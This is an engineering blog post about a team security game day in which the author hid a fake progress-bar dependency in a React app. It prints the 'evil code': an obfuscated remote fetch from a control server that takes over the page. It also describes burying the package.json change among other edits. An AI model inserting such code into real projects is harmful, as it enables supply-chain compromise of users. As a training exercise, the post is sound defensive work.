I dare you to do two things in a React codebase of your choosing:
- Install an innocent progress bar module
- Add this import anywhere in the codebase
![[Blog] - taking over react apps with dodgy dependencies _ pwned by nprogres](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_-pwned-by-nprogres.png)
Game days
I built this rudimentary piece of malware for a game day. Every month or so, one of our dev team members at Okra Solar runs an exercise to help the rest of the team prepare for what happens if something goes very wrong. On our last game day, our CTO deployed a dodgy commit which changed the port our app listened to, completely bricking it and then turned off a few services (in our non-prod environment). It was an excellent exercise that taught us all a bit more about how Okra’s microservices fit together and how to quickly remediate problems in a relatively low-stress environment.
Lockfile vulnerabilities
It was my turn this month and I decided to explore lockfile vulnerabilities. I’ve been meaning to try out lockfile-lint after reading Liran Tal’s article on lockfile vulnerabilities.
The basic idea is that you can sneak in a dodgy dependency by updating package-lock.json or yarn.lock without the rest of the team noticing because no one ever reviews those lock files.
Unfortunately, I didn’t find an easy way to exploit this. As documented in my github issue, yarn will ignore a git dependency in yarn.lock in preference to what is specified in package.json.
My efforts at stealth somewhat hindered, I still went ahead with my attack shrouding the change to package.json amidst a myriad of other changes.
![[Blog] - taking over react apps with dodgy dependencies _ feature:sw 4022:payment page](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_-featuresw-4022payment-page.png)
![[Blog] - taking over react apps with dodgy dependencies _ damian velin thread](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_-damian-velin-thread.png)
![[Blog] - taking over react apps with dodgy dependencies _ slack chat](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_-slack-chat.png)
The evil code looked like this:
async function hax() {
const haxResponse = await
fetch(atob(‘aHR0cHM6Ly9qZXJlbXluYWdlbC5pbmZvL29rcmEvaGF4LnR4dA==’), {
method: ‘GET’
});
const haxText = await haxResponse.text()
const haxData = JSON.parse(haxText)
const hostName = window.location.hostname
const rawMessage = haxData[hostName]
const message = rawMessage ? atob(rawMessage) : ‘disabled’
if (window.location.href.includes(‘hax’) ||
!message.includes(‘disabled’)) {
setTimeout(() => {
document.body.innerHTML = `<h1>${message}</h1>`
alert(message);
}, 5000);
}
}
hax()
At the appointed hour, I changed the message on my control server and shared some awful news with the team. Apparently a hacking collective named after a misspelt vegetable had decided to attack us.
![[Blog] - taking over react apps with dodgy dependencies _attack message](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_attack-message.png)
The team rapidly assembled and began examining our app and our AWS account for evidence of intrusion. They quickly noticed a strange new network request.
![[Blog] - taking over react apps with dodgy dependencies _ network requests](https://okrasolar.com/wp-content/uploads/2021/04/Blog-taking-over-react-apps-with-dodgy-dependencies-_-network-requests.png)
Aided by some helpful clues from the “Brocolli gang” (I changed the hax.txt message when they got stuck), they identified the root cause and remediated the problem.
Takeaways
- It’s probably best not to include the git binary in docker images you’re using to build node js apps. That way you’re less vulnerable to this type of attack.
- Be very wary of git-based dependencies (and dependencies in general!)
- Game days are fun
- There is nothing malicious about the real nprogress module available from npm (but be careful about any that are published by me or my pseudonyms!)